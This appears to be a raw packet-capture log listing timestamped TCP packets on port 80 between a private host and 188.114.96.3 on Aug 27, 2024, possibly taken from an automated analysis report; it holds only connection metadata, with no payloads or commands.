Aug 27, 2024 09:49:37.571773052 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.571777105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571788073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571799040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571810007 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.571810961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571822882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571834087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571835041 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.571846008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571852922 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.571856976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571868896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571876049 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.571899891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.572067976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.572078943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.572089911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.572108030 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.572124004 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.572129011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.572140932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.572153091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.572187901 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.572251081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.572283983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.572312117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.572324038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.572357893 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.572443008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.572453976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.572464943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.572477102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.572499037 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.572514057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.652420998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.652452946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.652465105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.652477980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.652504921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.652514935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.652525902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.652575970 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.652697086 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.652729034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.652739048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.652770996 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.652934074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.653032064 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.654238939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654258966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654273987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654325008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.654422998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654433966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654447079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654459000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654470921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654474020 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.654488087 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.654544115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654561996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654573917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654584885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654589891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.654598951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654601097 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.654622078 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.654774904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654786110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654794931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654805899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654818058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654828072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654839993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654849052 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.654849052 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.654866934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.654918909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.655019999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.655030966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.655040979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.655054092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.655066013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.655071974 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.655076981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.655087948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.655107975 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.655175924 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.656743050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.656774044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.656793118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.656819105 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.656856060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.656868935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.656878948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.656891108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.656900883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.656924009 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.657072067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657083035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657093048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657104015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657116890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657128096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657139063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657160997 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.657181978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657183886 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.657238007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657279015 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.657516956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657613993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657625914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657656908 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.657725096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657737017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657747030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657788038 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.657838106 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.657871962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657881021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657886982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657915115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657927036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657932997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657948971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657959938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.657983065 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.658008099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.658140898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658152103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658163071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658174992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658186913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658195972 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.658212900 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.658291101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658302069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658312082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658324003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658334017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658354998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.658377886 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.658556938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658569098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658579111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658590078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658601999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658622980 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.658641100 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.658776999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658788919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658817053 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.658871889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658883095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658893108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658904076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658912897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.658914089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.658982992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.658982992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.659087896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659100056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659120083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659131050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659142017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659147978 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.659156084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659168005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659169912 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.659178972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659189939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659208059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659219027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659229040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659235954 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.659240961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659251928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659259081 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.659264088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659279108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659281969 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.659300089 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.659315109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.659362078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659372091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659383059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659404993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.659406900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659421921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659435034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659446955 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.659457922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659471035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659481049 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.659482956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659498930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659509897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659516096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659522057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.659529924 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.659568071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.739809036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.739839077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.739850044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.739936113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.739947081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.739958048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.739969969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.739983082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.740215063 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.740319967 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.741302013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741323948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741336107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741431952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741445065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741456985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741498947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741509914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741616011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741626978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741638899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741652966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741657972 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.741686106 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.741708994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741723061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741750002 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.741816998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741828918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741839886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741852045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741862059 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.741863012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741874933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741884947 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.741885900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.741903067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.742063999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.742074966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.742091894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.742103100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.742114067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.742130041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.742134094 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.742141008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.742158890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.742176056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.742191076 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.743634939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.743659019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.743681908 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.743763924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.743803978 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.743869066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.743880987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.743891001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.743911028 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.743974924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.743988037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744000912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744016886 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.744036913 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.744143963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744155884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744165897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744179010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744182110 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.744191885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744201899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744205952 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.744266033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744278908 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.744329929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744342089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744376898 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.744388103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744400024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744462013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.744494915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744505882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744523048 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.744950056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744961023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744971991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.744991064 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.745003939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.745012999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745024920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745035887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745090961 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.745111942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745124102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745137930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745147943 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.745156050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745167971 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.745193958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745210886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745222092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745230913 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.745246887 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.745330095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745340109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745351076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745368958 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.745376110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745388031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745398045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745409966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745421886 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.745429993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745441914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745445967 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.745454073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745460033 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.745487928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.745534897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745601892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745614052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745632887 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.745651007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745668888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745682001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745687008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.745695114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745706081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745713949 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.745733976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.745913982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.745975018 CEST	80	49715	188.114.96.3	192.168.2.8
